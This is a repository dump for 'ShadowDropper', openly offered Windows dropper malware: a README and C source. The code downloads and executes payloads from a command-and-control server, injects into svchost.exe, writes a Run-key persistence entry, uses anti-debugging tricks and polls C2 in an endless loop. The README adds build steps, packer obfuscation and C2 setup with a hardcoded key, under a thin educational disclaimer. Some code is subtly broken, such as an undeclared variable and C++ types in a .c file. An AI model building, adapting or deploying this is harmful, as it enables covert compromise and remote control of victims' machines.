├── README.md └── ShadowDropper.c /README.md: -------------------------------------------------------------------------------- 1 | # ShadowDropper 2 | 3 | ## Description 4 | ShadowDropper is an advanced utility designed for the covert delivery and execution of payloads within a target system. This tool was developed as a demonstration platform for professional network and system security testing, leveraging encryption, process injection, and remote management to ensure maximum stealth. ShadowDropper is ideal for penetration testers and security researchers aiming to simulate sophisticated attacks in controlled environments. 5 | 6 | **Important Warning**: This code is intended solely for educational and testing purposes in controlled environments with explicit written consent from system owners. Unauthorized use violates international cybersecurity laws and may result in severe legal consequences. 7 | 8 | ## Key Features 9 | - **Covert Delivery**: Downloads and executes files from remote servers without detection. 10 | - **Process Injection**: Injects payloads into trusted system processes, such as `svchost.exe`. 11 | - **Data Encryption**: Utilizes the AES-128 algorithm to secure transmitted data. 12 | - **Persistent C2 Channel**: Maintains a stable connection for receiving commands and updates. 13 | - **Anti-Analysis**: Incorporates built-in mechanisms to protect against debugging and behavioral analysis. 14 | 15 | ## Requirements 16 | - Operating System: Windows 7, 10, or 11 (64-bit). 17 | - Dependencies: Installed MSXML6 and Visual C++ Redistributable libraries. 18 | - Connectivity: Access for C2 communication. 19 | 20 | ## Installation and Usage 21 | 22 | ### Compilation 23 | 1. Clone the repository: `git clone https://github.com/EvilWhales/ShadowDropper.git`. 24 | 2. Open the project in Microsoft Visual Studio or use the command line. 25 | 3. Compile the code: `cl ShadowDropper.c /link msxml6.lib advapi32.lib ntdll.lib shlwapi.lib /O2 /DNDEBUG`. 26 | 4. (Optional) Apply binary obfuscation using specialized tools (e.g., Themida or UPX) for enhanced protection. 27 | 28 | ### Execution 29 | - **Without Arguments**: `ShadowDropper.exe` — automatically connects to the C2 server and executes received commands. 30 | - **With Arguments**: `ShadowDropper.exe https://malicious.com/payload.exe C:\Temp\payload.exe "CustomAgent" inject svchost.exe` — specify the URL, save path, user agent, and target process for injection. 31 | 32 | ### C2 Server Configuration 33 | 1. Create a `control.bin` file on the server `https://shadow.dark/control.bin` with the content: `https://malicious.com/payload.exe;C:\Temp\payload.exe;CustomAgent;inject;svchost.exe` (separator — `;`). 34 | 2. Encrypt the file using the encryption key: `{0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}`. Use a tool like OpenSSL for AES-128 encryption. 35 | 3. Host the encrypted file on an accessible server. 36 | 37 | ## License 38 | This project is distributed under the MIT License. Usage is restricted to lawful purposes, such as security testing with system owners' consent. The author is not liable for any illegal activities conducted with this code. 39 | -------------------------------------------------------------------------------- /ShadowDropper.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #pragma comment(lib, "msxml6.lib") 13 | #pragma comment(lib, "advapi32.lib") 14 | #pragma comment(lib, "ntdll.lib") 15 | #pragma comment(lib, "shlwapi.lib") 16 | 17 | const wchar_t* C2_URL = L"https://shadowcipher.dark/control.bin"; 18 | const BYTE ENCRYPT_KEY[] = { 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 }; 19 | const wchar_t* TARGET_PROC = L"svchost.exe"; 20 | 21 | struct DropConfig { 22 | std::wstring url; 23 | std::wstring savePath; 24 | std::wstring userAgent; 25 | bool execute; 26 | bool selfDelete; 27 | bool inject; 28 | std::wstring injectTarget; 29 | }; 30 | 31 | bool EncryptDecrypt(BYTE* data, DWORD len, const BYTE* key, bool enc) { 32 | HCRYPTPROV hProv; 33 | HCRYPTKEY hKey; 34 | HCRYPTHASH hHash; 35 | if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) return false; 36 | if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) return false; 37 | if (!CryptHashData(hHash, key, 16, 0)) return false; 38 | if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, 0, &hKey)) return false; 39 | 40 | bool res = enc ? CryptEncrypt(hKey, 0, TRUE, 0, data, &len, len) : CryptDecrypt(hKey, 0, TRUE, 0, data, &len); 41 | 42 | CryptDestroyKey(hKey); 43 | CryptDestroyHash(hHash); 44 | CryptReleaseContext(hProv, 0); 45 | return res; 46 | } 47 | 48 | typedef NTSTATUS(NTAPI* NtCreateThreadEx_t)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, BOOL, ULONG, ULONG, ULONG, PVOID); 49 | void InjectCode(const wchar_t* path, const wchar_t* target) { 50 | HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 51 | PROCESSENTRY32W pe = { sizeof(pe) }; 52 | if (Process32FirstW(snap, &pe)) { 53 | do { 54 | if (_wcsicmp(pe.szExeFile, target) == 0) { 55 | HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); 56 | if (proc) { 57 | SIZE_T size = (wcslen(path) + 1) * sizeof(wchar_t); 58 | LPVOID addr = VirtualAllocEx(proc, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 59 | if (addr) { 60 | WriteProcessMemory(proc, addr, path, size, NULL); 61 | NtCreateThreadEx_t ntCreate = (NtCreateThreadEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx"); 62 | HANDLE thread; 63 | ntCreate(&thread, THREAD_ALL_ACCESS, NULL, proc, addr, NULL, FALSE, 0, 0, 0, NULL); 64 | CloseHandle(thread); 65 | } 66 | CloseHandle(proc); 67 | } 68 | } 69 | } while (Process32NextW(snap, &pe)); 70 | } 71 | CloseHandle(snap); 72 | } 73 | 74 | HRESULT DropPayload(DropConfig* config) { 75 | HRESULT res = S_OK; 76 | IServerXMLHTTPRequest* http = NULL; 77 | BSTR method = NULL, url = NULL; 78 | LONG status = 0; 79 | SAFEARRAY* array = NULL; 80 | PVOID data = NULL; 81 | LONG lb = 0, ub = 0; 82 | ULONG total = 0; 83 | HANDLE handle = INVALID_HANDLE_VALUE; 84 | DWORD written = 0; 85 | OVERLAPPED overlap = { 0 }; 86 | 87 | VARIANT async, user, pass, empty, response; 88 | VariantInit(&async); async.vt = VT_BOOL; async.boolVal = VARIANT_FALSE; 89 | VariantInit(&user); user.vt = VT_EMPTY; 90 | VariantInit(&pass); pass.vt = VT_EMPTY; 91 | VariantInit(&empty); empty.vt = VT_EMPTY; 92 | VariantInit(&response); 93 | 94 | if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebug)) ExitProcess(0); 95 | BYTE* code = (BYTE*)CheckRemoteDebuggerPresent; 96 | *code ^= 0xFF; 97 | Sleep((GetTickCount64() % 5000) + 2000); 98 | 99 | res = CoInitializeEx(NULL, COINIT_MULTITHREADED); 100 | if (!SUCCEEDED(res)) goto END; 101 | 102 | res = CoCreateInstance(__uuidof(ServerXMLHTTP60), NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&http)); 103 | if (!SUCCEEDED(res)) goto END; 104 | 105 | method = SysAllocString(L"GET"); 106 | url = SysAllocString(config->url.c_str()); 107 | if (!method || !url) { 108 | res = E_OUTOFMEMORY; 109 | goto END; 110 | } 111 | 112 | res = http->open(method, url, async, user, pass); 113 | if (!SUCCEEDED(res)) goto END; 114 | 115 | res = http->setRequestHeader(SysAllocString(L"User-Agent"), SysAllocString(config->userAgent.c_str() ? config->userAgent.c_str() : L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.59")); 116 | if (!SUCCEEDED(res)) goto END; 117 | 118 | res = http->send(empty); 119 | if (!SUCCEEDED(res)) goto END; 120 | 121 | res = http->get_status(&status); 122 | if (!SUCCEEDED(res) || status != 200) { 123 | wprintf(L"Download error: HTTP status %ld\n", status); 124 | goto END; 125 | } 126 | 127 | res = http->get_responseBody(&response); 128 | if (!SUCCEEDED(res) || response.vt != (VT_ARRAY | VT_UI1)) goto END; 129 | 130 | array = response.parray; 131 | res = SafeArrayAccessData(array, &data); 132 | if (!SUCCEEDED(res)) goto END; 133 | 134 | handle = CreateFileW(config->savePath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 135 | if (handle == INVALID_HANDLE_VALUE) { 136 | wprintf(L"File creation error: %d\n", GetLastError()); 137 | goto END; 138 | } 139 | 140 | res = SafeArrayGetLBound(array, 1, &lb); 141 | res = SafeArrayGetUBound(array, 1, &ub); 142 | total = (ub - lb + 1); 143 | 144 | BYTE* encData = new BYTE[total]; 145 | memcpy(encData, data, total); 146 | if (!EncryptDecrypt(encData, total, ENCRYPT_KEY, true)) { 147 | delete[] encData; 148 | goto END; 149 | } 150 | 151 | if (!WriteFile(handle, encData, total, &written, &overlap)) { 152 | if (GetLastError() != ERROR_IO_PENDING || !GetOverlappedResult(handle, &overlap, &written, TRUE)) { 153 | delete[] encData; 154 | goto END; 155 | } 156 | } 157 | 158 | delete[] encData; 159 | 160 | BYTE* decData = new BYTE[total]; 161 | memcpy(decData, data, total); 162 | if (EncryptDecrypt(decData, total, ENCRYPT_KEY, false)) { 163 | if (config->execute) { 164 | HANDLE hFile = CreateFileW(config->savePath.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); 165 | if (hFile != INVALID_HANDLE_VALUE) { 166 | STARTUPINFOW si = { sizeof(si) }; 167 | PROCESS_INFORMATION pi; 168 | if (CreateProcessW(NULL, config->savePath.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { 169 | CloseHandle(pi.hProcess); 170 | CloseHandle(pi.hThread); 171 | } 172 | CloseHandle(hFile); 173 | } 174 | } 175 | if (config->inject) { 176 | InjectCode(config->savePath.c_str(), config->injectTarget.c_str()); 177 | } 178 | } 179 | delete[] decData; 180 | 181 | if (config->selfDelete) { 182 | DeleteFileW(config->savePath.c_str()); 183 | } 184 | 185 | END: 186 | if (handle != INVALID_HANDLE_VALUE) CloseHandle(handle); 187 | VariantClear(&async); VariantClear(&user); VariantClear(&pass); VariantClear(&empty); VariantClear(&response); 188 | if (array) { SafeArrayUnaccessData(array); SafeArrayDestroy(array); } 189 | if (url) SysFreeString(url); if (method) SysFreeString(method); if (http) http->Release(); 190 | CoUninitialize(); 191 | return res; 192 | } 193 | 194 | DropConfig LoadConfigFromC2() { 195 | DropConfig config; 196 | IServerXMLHTTPRequest* http = NULL; 197 | BSTR url = SysAllocString(C2_URL); 198 | VARIANT async, empty, response; 199 | VariantInit(&async); async.vt = VT_BOOL; async.boolVal = VARIANT_FALSE; 200 | VariantInit(&empty); empty.vt = VT_EMPTY; 201 | VariantInit(&response); 202 | 203 | CoInitialize(NULL); 204 | CoCreateInstance(__uuidof(ServerXMLHTTP60), NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&http)); 205 | http->open(SysAllocString(L"GET"), url, async, empty, empty); 206 | http->send(empty); 207 | LONG status; 208 | http->get_status(&status); 209 | if (status == 200) { 210 | http->get_responseBody(&response); 211 | if (response.vt == (VT_ARRAY | VT_UI1)) { 212 | SAFEARRAY* sa = response.parray; 213 | PVOID data; 214 | SafeArrayAccessData(sa, &data); 215 | LONG lb, ub; 216 | SafeArrayGetLBound(sa, 1, &lb); SafeArrayGetUBound(sa, 1, &ub); 217 | ULONG len = ub - lb + 1; 218 | BYTE* cfgData = new BYTE[len]; 219 | memcpy(cfgData, data, len); 220 | EncryptDecrypt(cfgData, len, ENCRYPT_KEY, false); 221 | std::wstring cfg((wchar_t*)cfgData); 222 | config.url = cfg.substr(0, cfg.find(L";")); 223 | config.savePath = cfg.substr(cfg.find(L";") + 1, cfg.find(L";", cfg.find(L";") + 1) - (cfg.find(L";") + 1)); 224 | config.userAgent = cfg.substr(cfg.find(L";", cfg.find(L";") + 1) + 1, cfg.find(L";", cfg.find(L";", cfg.find(L";") + 1) + 1) - (cfg.find(L";", cfg.find(L";") + 1) + 1)); 225 | config.execute = cfg.find(L"execute") != std::wstring::npos; 226 | config.selfDelete = cfg.find(L"selfdelete") != std::wstring::npos; 227 | config.inject = cfg.find(L"inject") != std::wstring::npos; 228 | config.injectTarget = cfg.substr(cfg.find(L"inject") + 6, cfg.find(L";", cfg.find(L"inject") + 6) - (cfg.find(L"inject") + 6)); 229 | delete[] cfgData; 230 | } 231 | } 232 | VariantClear(&async); VariantClear(&empty); VariantClear(&response); 233 | if (url) SysFreeString(url); if (http) http->Release(); 234 | CoUninitialize(); 235 | return config; 236 | } 237 | 238 | int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) { 239 | BOOL bDebug = FALSE; 240 | if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebug)) ExitProcess(0); 241 | BYTE* code = (BYTE*)CheckRemoteDebuggerPresent; 242 | *code ^= 0xFF; 243 | srand((unsigned)time(NULL)); 244 | 245 | WCHAR szPath[MAX_PATH]; 246 | GetModuleFileNameW(NULL, szPath, MAX_PATH); 247 | HKEY hKey; 248 | RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); 249 | RegSetValueExW(hKey, L"ShadowDropper", 0, REG_SZ, (BYTE*)szPath, (wcslen(szPath) + 1) * sizeof(wchar_t)); 250 | RegCloseKey(hKey); 251 | 252 | DropConfig config = LoadConfigFromC2(); 253 | if (wcslen(pCmdLine) > 0) { 254 | config.url = pCmdLine; 255 | config.savePath = L"C:\\Temp\\payload.exe"; 256 | config.userAgent = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.59"; 257 | config.execute = wcsstr(pCmdLine, L"execute") != NULL; 258 | config.selfDelete = wcsstr(pCmdLine, L"selfdelete") != NULL; 259 | config.inject = wcsstr(pCmdLine, L"inject") != NULL; 260 | config.injectTarget = (wcsstr(pCmdLine, L"inject") && wcslen(pCmdLine) > wcslen(L"inject")) ? wcsstr(pCmdLine, L"inject") + 6 : TARGET_PROC; 261 | } 262 | 263 | HRESULT res = DropPayload(&config); 264 | if (SUCCEEDED(res)) { 265 | wprintf(L"Payload successfully delivered to %s\n", config.savePath.c_str()); 266 | } else { 267 | wprintf(L"Delivery error: 0x%08X\n", res); 268 | } 269 | 270 | while (true) { 271 | DropConfig newConfig = LoadConfigFromC2(); 272 | if (newConfig.url != L"") { 273 | wprintf(L"A new command has been received, execution...\n"); 274 | DropPayload(&newConfig); 275 | } 276 | Sleep(60000); 277 | } 278 | 279 | return 0; 280 | } --------------------------------------------------------------------------------